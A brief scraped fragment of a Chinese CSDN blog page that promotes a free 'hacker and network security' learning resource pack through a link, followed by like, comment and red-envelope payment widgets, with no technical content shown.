在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述
在这里插入图片描述

  • 10
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值